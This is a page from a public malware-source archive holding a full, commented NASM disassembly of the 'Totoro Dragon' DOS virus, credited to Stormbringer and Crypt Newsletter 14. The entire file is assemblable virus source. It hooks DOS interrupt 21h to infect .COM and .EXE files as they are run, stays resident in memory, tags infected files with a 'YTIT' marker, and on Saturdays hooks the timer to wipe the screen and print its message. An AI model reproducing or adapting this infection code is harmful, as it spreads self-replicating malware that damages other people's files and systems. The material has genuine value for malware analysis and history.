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https://github.com/vxunderground/MalwareSourceCode
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714 lines
18 KiB
NASM
714 lines
18 KiB
NASM
;TOTORO DRAGON disassembly. Included, for your pleasure, in Crypt
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;Newsletter 14. Profuse thanks to Stormbringer, wherever he is.
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;***************************************************************************
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;* The Totoro Dragon Virus from Taiwan *
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;***************************************************************************
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;* This virus is a fairly simple resident .EXE/.COM infector. It goes *
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;*resident by re-executing the infected file and using Int 21, function 31.*
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;*When it infects a .COM, it puts itself at the beginning of the file and *
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;*starts the host at an offset of 600h (700h in memory), giving the virus *
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;*an effective length of 1536 bytes, plus an extra 4 bytes for its marker *
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;*at the end ("YTIT"). It infects .EXE files using the "standard" method. *
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;*While it does save file attributes, the time and date change when a file *
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;*is infected. The virus activates on Saturdays. When active, it installs*
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;*an Int 08 (Timer click) handler that counts to 0CCCh, then shoves the *
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;*text off the screen and prints the following in the upper left-hand *
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;*corner: *
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;* *
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;* ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· *
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;* º Totoro Dragon º *
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;* ºHello! I am TOTORO CATº *
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;* º Written by Y.T.J.C.T º *
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;* º in Ping Tung. TAIWAN º *
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;* º Don't Worry,be Happy º *
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;* ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ *
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;* *
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;*It then restarts the counter and does it again. Other that this effect, *
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;*the virus seems relatively harmless. *
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;* *
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;* *
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;* Disassembly by Stormbringer *
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;***************************************************************************
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.model tiny
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.radix 16
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.code
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org 100h
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start:
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jmp short COM_Entry_Point
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nop
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;***************************************************************************
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;* Data Tables *
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;***************************************************************************
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File_Size_Off dw 5
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File_Size_Seg dw 0
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TSR_DAT dw 4262h
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DS_Save dw 0F21h
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ES_Save dw 0F21h
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File_Attribs dw 20h
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IP_Save dw 0
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CS_Save dw 0F99
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SP_Save dw 0
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SS_Save dw 0
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File_Type db 'C'
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Wasted_Space db 0, 0, 0 ;?
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;********************************************
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; EXE_Header ;
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;********************************************
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EXE_Sig db 'MZ'
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Last_Page_Len dw 14h
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EXE_Size dw 5
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Rel_Tbl_Items dw 0
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Header_Size dw 20h
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Minalloc dw 0
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Maxalloc dw 0ffff
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Init_SS dw 1
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Init_SP dw 700h
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Checksum dw 0
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Init_IP dw 91h
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Init_CS dw 1
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First_Rel dw 001Eh
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Overlay_Num dw 0
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;********************************************
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CS_Store dw 0
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Command db 'COMMAND.COM', 0
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db 00h, 80h, 00h
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ES_Store_1 dw 0F21h
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dw 5Ch
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ES_Store_2 dw 0F21h
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dw 6Ch
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ES_Store_3 dw 0F21h
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File_Handle dw 5
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Buffer_For_Checks db 0
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db 4Ch,0CDh, 21h
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File_Name_Off dw 469h
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File_Name_Seg dw 0DF5h
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db 0
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Mem_Seg dw 0F93h
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IP_24 dw 156h
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CS_24 dw 0DF5h
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;************************************************************************
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;* Virus Entry Point #1 (COM) *
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;************************************************************************
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COM_Entry_Point:
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mov ax,0F1F1h ;Is the virus in memory?
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int 21h
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mov cs:CS_Store,0
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mov cs:[ES_Save],es
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cmp ax,0F1F1h ;AX preserved?
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je Already_Installed ;Same? go Already_Installed
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jmp Install_Virus ;Not In Mem? go Install_Virus
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Already_Installed: ;Restore control to host file (COM)
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mov ax,cs
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mov es,ax ;ES = DS = CS
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mov ds,ax
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mov ah,0CBh ;Restore Control
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mov si,700h ;Offset of host in file
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mov di,100h ;Original offset of host
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mov cx,cs:[File_Size_Off] ;Size of host file
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int 21h ;Call internal routine to restore control
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;to host .COM file.
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;************************************************************************
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;* Virus Entry Point #2 (EXE) *
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;************************************************************************
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EXE_Entry_Point:
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mov ax,cs
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sub ax,10h
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push ax
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mov ax,offset After_Jump
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push ax
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retf ;Jump to After_Jump with
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;original .COM offsets.
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After_Jump:
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mov cs:[ES_Save],es
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mov cs:[DS_Save],ds
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mov ax,0F1F1h
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int 21h
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cmp ax,0F1F1h ;Check if installed.
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jne Get_New_Seg ;Nope, Install....
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cli
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mov ax,cs:[SS_Save] ;Yes, restore host regs
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add ax,10h
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mov bx,es
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add ax,bx
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mov ss,ax
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mov sp,cs:[SP_Save]
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sti
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mov ax,cs:[CS_Store]
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mov bx,es
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add ax,bx
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add ax,10h
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mov word ptr cs:[IP_Save+2],ax
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jmp dword ptr cs:[IP_Save] ;Restore Control to
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;.EXE host.
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Get_New_Seg:
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push es ;For later RETF
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xor ax,ax
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mov ds,ax ;DS = 0
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;****************************************************************************
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;*NOTE: From 0:200 to 0:400 there is some "empty" space, as it is the upper *
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;* (unused) part of the interrupt tables. This virus uses the top three*
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;* bytes, i.e. the INT 99 entry, to run a repnz movsb command followed *
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;* by a retf. This is to copy the virus to a new segment in memory and*
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;* jump to it. *
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;****************************************************************************
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mov word ptr ds:[3fdh],0A4F3h ;repnz movsb
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mov byte ptr ds:[3ffh],0CBh ;retf
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push cs
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pop ds
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mov si,100h
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mov di,si ;Copy virus to new segment
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mov cx,600h ;and "RETF" to
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mov ax,offset Install_Virus ;Install_Virus in new copy
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push ax
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db 0EAh,0FDh, 03h, 00h, 00h ;Jump far 0:3FDh
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Install_Virus:
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cli ;Disable interrupts
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push cs
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pop ds
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mov ah,2Ah
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int 21h ;Get Day/Date
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cmp al,6 ;Is it Saturday?
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jne Set_Int_21 ;Nope, don't activate, just
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mov ax,3508h ;infect files.
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int 21h ;Get Int 08 address
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mov word ptr cs:[IP_08],bx
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mov word ptr cs:[CS_08],es
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mov dx,offset Int_08
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mov ax,2508h
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int 21h ;Set Int 08
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Set_Int_21:
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mov ax,3521h
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int 21h ;Get Int 21 address
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mov word ptr cs:[IP_21],bx
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mov word ptr cs:[CS_21],es
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mov dx,offset Int_21
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mov ax,2521h
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int 21h ;Set Int_21
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mov es,cs:[ES_Save]
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cmp cs:[TSR_DAT],426Bh ;Second Execute?
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je Go_TSR ;Yep, go TSR
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mov bx,1000h ;Nope, set up for second exec.
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mov ah,4Ah
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int 21h ;Change Mem Allocation
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;to 64k.
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mov es,es:[2ch] ;Environment string
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xor di,di
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xor al,al
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mov cx,7FFFh
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Find_Filename: ;Search Environment for
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repne scasb ;filename of host.
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cmp es:[di],al
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loopnz Find_Filename
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add di,3 ;Skip drive designator
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;i.e. "C:\" in
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;"C:\Infected.EXE"
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mov dx,di
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push es
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pop ds ;DS:DX = host filename
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push cs
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pop es
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cli ;Clears Ints (so none can
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;disrupt second execution
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;of virus)
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mov ax,cs:[ES_Save]
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mov cs:[ES_Store_1],ax
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mov cs:[ES_Store_2],ax
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mov cs:[ES_Store_3],ax
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mov bx,144h
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mov ax,4B00h ;Re-Execute the file
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pushf
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call dword ptr cs:[IP_21] ;Call Int 21 to Execute file.
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Go_TSR:
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mov ah,31h
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mov dx,71h
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int 21h ;Terminate and Stay Resident.
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Int_21:
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pushf ;Push flags
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cmp ax,0F1F1h ;Is it an Install Check?
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jne Is_It_Execute ;No, Go Is_It_Execute
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mov ax,0F1F1h ;Yes, save value (unneccesary)
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popf
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iret ;Return to virus in program.
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Is_It_Execute:
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cmp ax,4B00h ;Is it a Load & Execute call?
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jne Restore_Host ;Nope, continue on.
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call execute ;Infect the file if possible.
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jmp short Go_Int_21 ;And go to old Int 21 handler.
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nop
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Restore_Host:
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cmp ah,0CBh ;Is it a request to restore
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jne Go_Int_21 ;control to host?
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pop ax ax ;Pop flags + Old IP (not kept)
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mov word ptr cs:[IP_Save],100h
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pop ax
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mov word ptr cs:[IP_Save+2],ax
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rep movsb ;Restore Host to orig. Pos.
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popf ;Completely remove old Int call
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mov ax,0
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jmp dword ptr cs:[IP_Save] ;Jump to Host:100
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Go_Int_21:
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popf ; Pop flags
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db 0ea ;Jump to Int 21
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IP_21 dw 040ebh
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CS_21 dw 0011
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execute:
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push es ds ax bx cx dx si di
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mov cs:[File_Name_Seg],ds
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mov cs:[File_Name_Off],dx
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mov ax,3524h ;Get Int 24 Address
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int 21h ;(Critical Error)
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mov cs:[IP_24],bx
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mov cs:[CS_24],es
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push cs
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pop ds
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mov dx,offset Int_24
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mov ax,2524h
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int 21h ;Set Int 24
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mov ds,cs:[File_Name_Seg]
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mov si,cs:[File_Name_Off]
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Name_Check:
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lodsb
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or al,al ;Is the first byte a zero?
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jnz Name_Check ;Nope, find end of string
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mov al,[si-2]
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and al,0DFh
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cmp al,4Dh ;'M'
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je Is_Com ;COM file, jump Is_Com
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cmp al,45h ;'E'
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je Is_EXE ;EXE file, jump Is_EXE
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jmp Clean_Up ;Neither? Go Clean_Up
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Is_Com:
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mov cs:[File_Type],'C' ;Save File type for later.
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jmp short Check_If_Command
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nop
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Is_EXE:
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mov cs:[File_Type],'E'
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Check_If_Command:
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sub si,0Ch
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mov di,offset Command
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push cs
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pop es
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mov cx,0Bh ;Is it Command.COM?
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repe cmpsb
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jnz Start_Infect ;No, Jump Start_Infect
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Got_An_Error:
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jmp Clean_Up ;Is Command, get otta here.
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Start_Infect:
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mov ds,cs:[File_Name_Seg]
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mov dx,cs:[File_Name_Off]
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mov ax,4300h
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int 21h ;Get Attribs
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jc Got_An_Error
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mov cs:[File_Attribs],cx
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xor cx,cx
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mov ax,4301h
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int 21h ;Zero Attrib's for read/write
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jc Got_An_Error
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mov ax,3D02h
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int 21h ;Open Read/Write
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jnc Check_Infect ;Everything Fine? go Check_Infect
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jmp Reset_Attribs ;Couldn't Open, go Reset_Attribs
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Check_Infect:
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mov bx,ax
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mov cs:[File_Handle],ax
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mov cx,0FFFFh
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mov dx,0FFFCh
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mov ax,4202h
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int 21h ;Move to 4 bytes from end
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add ax,4
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mov cs:[File_Size_Off],ax
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push cs
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pop ds
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mov dx,offset Buffer_For_Checks
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mov cx,4
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mov ah,3Fh
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int 21h
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;Read in Last 4 bytes of file
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push cs
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pop es
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mov cx,4
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mov si,offset Marker ;are last 4 bytes 'YTIT'?
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mov di,offset Buffer_For_Checks ;
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repe cmpsb
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jnz Check_Which_Type ;Not infected? Go Check_Which_Type
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jmp Close_File ;Infected? Go Close_File
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Check_Which_Type:
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cmp cs:[File_Type],'C' ;Is it a .COM?
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je COM_Infect ;Yes, go COM_Infect
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jmp EXE_Infect ;No, go EXE_Infect
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COM_Infect:
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mov ah,48h
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mov bx,1000h
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int 21h ;Allocate 64k of memory
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jnc Load_In_File ;No Prob? Go Load_In_File
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jmp Close_File ;Otherwise, go Close_File
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Load_In_File:
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mov cs:[Mem_Seg],ax
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mov bx,cs:[File_Handle]
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xor cx,cx
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xor dx,dx
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mov ax,4200h
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int 21h ;Go to beginning of file
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push cs
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pop ds
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mov es,cs:[Mem_Seg]
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mov si,100
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mov di,si
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mov cx,700h
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rep movsb
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mov ds,cs:Mem_Seg
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mov cx,cs:[File_Size_Off]
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mov dx,700h
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mov ah,3Fh ;Load entire file to directly
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int 21h ;after virus.
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xor cx,cx
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xor dx,dx
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mov ax,4200h
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int 21h ;Move to the beginning of file
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mov dx,100h
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mov cx,cs:[File_Size_Off]
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add cx,600h
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mov ah,40h
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int 21h ;Write entire file back to disk
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jc Go_Release_Mem
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xor cx,cx
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xor dx,dx
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mov ax,4202h
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int 21h ;Move to end of file
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mov cs:[File_Size_Seg],0 ;COM < 64k
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add ax,4 ;Add 4 for marker bytes
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mov cs:[File_Size_Off],ax ;Save file size
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push cs
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pop ds
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mov dx,offset Marker
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mov cx,4
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mov ah,40h
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int 21h ;Write in marker 'YTIT'
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Go_Release_Mem:
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jmp Release_Mem
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jmp Close_File
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EXE_Infect:
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xor cx,cx
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xor dx,dx
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mov ax,4200h
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int 21h ;Move to beginning of file
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push cs
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pop ds
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db 8dh,16h,1bh,01 ;lea dx,cs:[11Bh]
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mov cx,1Ch
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mov ah,3Fh
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int 21h ;Read in .EXE header
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Save_Header_NFO:
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cli ;clear ints
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mov ax,cs:[Init_CS]
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mov cs:[CS_Store],ax ;Save old CS
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mov ax,cs:[Init_IP]
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mov word ptr cs:[IP_Save],ax ;Save old IP
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mov ax,cs:[Init_SS]
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mov cs:[SS_Save],ax ;Save old SS
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mov ax,cs:[Init_SP]
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mov cs:[SP_Save],ax ;Save old SP
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sti ;restore ints
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xor ax,ax
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cmp cs:[Last_Page_Len],0
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je Calculate_Exe_Header
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dec cs:[EXE_Size]
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Calculate_Exe_Header: ;Long, drawn out way
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;to calculate new EXE header
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mov cx,200h
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xor dx,dx
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mov ax,cs:[EXE_Size]
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mul cx
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add ax,cs:[Last_Page_Len]
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add ax,0Fh
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adc dx,0
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and ax,0FFF0h
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mov cs:[File_Size_Off],ax
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mov cs:[File_Size_Seg],dx
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push dx ax dx ax
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xor dx,dx
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mov ax,cs:[Header_Size]
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mov cx,10h
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mul cx
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pop bx cx
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sub bx,ax
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sbb cx,dx
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xchg ax,bx
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xchg dx,cx
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mov cx,10h
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div cx
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mov cs:[Init_CS],ax
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mov cs:[Init_SS],ax
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mov cs:[Init_SP],700h
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mov cs:[Init_IP],offset EXE_Entry_Point-100
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pop ax dx
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push dx ax
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add ax,604h
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adc dx,0
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mov cx,200h
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div cx
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mov cs:Last_Page_Len,dx
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or dx,dx
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jz Rewrite_Header
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inc ax
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Rewrite_Header:
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mov cs:[EXE_Size],ax
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xor cx,cx
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xor dx,dx
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mov bx,cs:[File_Handle]
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mov ax,4200h
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int 21h ;Move back to beginning of file
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push cs
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pop ds
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mov dx,offset EXE_Sig
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mov cx,1Ch
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mov ah,40h
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int 21h ;Write EXE header back to file
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pop dx
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pop cx
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jc Close_File
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mov ax,4200h
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int 21h ;Go to end of host.
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push cs
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pop ds
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mov dx,100
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mov cx,600h
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mov ah,40h
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int 21h ;Write Virus
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jc Close_File
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xor cx,cx
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xor dx,dx
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mov ax,4202h
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int 21h ;Go to end of file.
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mov dx,offset Marker
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mov cx,4
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mov ah,40h
|
|
int 21h ;Write marker byte.
|
|
|
|
jmp short Close_File
|
|
nop
|
|
Release_Mem:
|
|
mov es,cs:Mem_Seg
|
|
mov ah,49h
|
|
int 21h ;Release Memory
|
|
|
|
Close_File:
|
|
mov ah,3Eh
|
|
mov bx,cs:[File_Handle]
|
|
int 21h ;Close file.
|
|
|
|
Reset_Attribs:
|
|
mov ds,cs:File_Name_Seg
|
|
mov dx,cs:File_Name_Off
|
|
mov cx,cs:File_Attribs
|
|
mov ax,4301h
|
|
int 21h ;Reset File attributes
|
|
|
|
Clean_Up:
|
|
mov ds,cs:[CS_24] ;Restore Critical Error
|
|
mov dx,cs:[IP_24]
|
|
mov ax,2524h
|
|
int 21h
|
|
|
|
pop di si dx cx bx ax ds es
|
|
retn
|
|
|
|
|
|
Int_24: ;Critical Error Handler
|
|
xor ax,ax
|
|
iret
|
|
|
|
Int_08: ;Timer Click Handler
|
|
pushf
|
|
inc cs:[Activation_Counter]
|
|
cmp cs:[Activation_Counter],0CCCh
|
|
jne Go_Int_08
|
|
mov cs:[Activation_Counter],0 ;Reset Counter
|
|
push ds es si di ax bx cx dx
|
|
call Get_Mode
|
|
call Scroll_Area
|
|
call Print_Message
|
|
pop dx cx bx ax di si es ds
|
|
Go_Int_08:
|
|
popf ; Pop flags
|
|
db 0EA
|
|
IP_08 dw 003Ch
|
|
CS_08 dw 0D80h
|
|
|
|
Screen_Width dw 0
|
|
Activation_Counter dw 1E0h
|
|
|
|
Get_Mode:
|
|
mov ah,0Fh
|
|
int 10h ;Get Video Mode
|
|
|
|
mov bx,0B000h ;Mode 7 Text Video Memory
|
|
mov es,bx
|
|
cmp al,7
|
|
je In_Mode_7
|
|
mov bx,0B800h ;Regular Text Video Memory
|
|
In_Mode_7:
|
|
mov es,bx
|
|
mov ds,bx
|
|
mov cs:[Screen_Width],4Fh
|
|
|
|
Setup_Screen:
|
|
mov cx,19h
|
|
mov bx,0
|
|
Clear_Screen:
|
|
push cx
|
|
call Scroll_Line
|
|
add bx,0A0h
|
|
pop cx
|
|
loop Clear_Screen
|
|
|
|
dec cs:[Screen_Width]
|
|
jnz Setup_Screen
|
|
retn
|
|
|
|
Scroll_Line: ;This subroutine clears the
|
|
mov di,bx ;screen by scrolling the text
|
|
mov si,bx ;straight off of the left
|
|
add si,2 ;side.
|
|
mov cx,cs:[Screen_Width]
|
|
|
|
Scroll_Sideways:
|
|
lodsb
|
|
stosb
|
|
inc si
|
|
inc di
|
|
loop Scroll_Sideways
|
|
retn
|
|
|
|
Print_Message:
|
|
xor bx,bx
|
|
push cs
|
|
pop ds
|
|
db 8dh,36h,18h,06 ;lea si,cs:[Totoro_Design]
|
|
mov ah,0Eh
|
|
Print_Loop:
|
|
lodsb
|
|
int 10h ;Write Char in Teletype mode
|
|
cmp byte ptr [si],24h ;is it a '$'?
|
|
jne Print_Loop ;Nope, continue writing
|
|
retn
|
|
|
|
Scroll_Area:
|
|
xor bx,bx ;Video Page 0
|
|
mov ah,3
|
|
int 10h ;Get Cursor info
|
|
|
|
push dx ;Push Cursor Location (DX)
|
|
mov ah,6
|
|
mov bh,7
|
|
mov al,18h
|
|
xor cx,cx
|
|
mov dh,18h
|
|
mov dl,4Fh
|
|
int 10h ;Scroll up (clear screen)
|
|
|
|
mov ah,2
|
|
pop dx
|
|
sub dh,2
|
|
xor bx,bx
|
|
int 10h ;Reset Cursor
|
|
|
|
xor bx,bx
|
|
xor dx,dx
|
|
mov ah,2
|
|
int 10h ;Set Cursor for printing.
|
|
retn
|
|
|
|
Totoro_Design:
|
|
db ' ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·',0Dh, 0Ah
|
|
db ' º Totoro Dragon º',0Dh, 0Ah
|
|
db ' ºHello! I am TOTORO CATº',0Dh, 0Ah
|
|
db ' º Written by Y.T.J.C.T º',0Dh, 0Ah
|
|
db ' º in Ping Tung. TAIWAN º',0Dh, 0Ah
|
|
db ' º Don''t Worry,be Happy º',0Dh, 0Ah
|
|
db ' ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ$'
|
|
Marker db 'YTIT'
|
|
db 28 dup (0)
|
|
|
|
;***************************************************************************
|
|
;*End of virus. The bytes below this line are the infected program and the *
|
|
;* viruses' identification bytes. *
|
|
;***************************************************************************
|
|
|
|
Host_Program:
|
|
mov ax,4c00
|
|
int 21
|
|
|
|
Infected_Mark db 'YTIT'
|
|
end start
|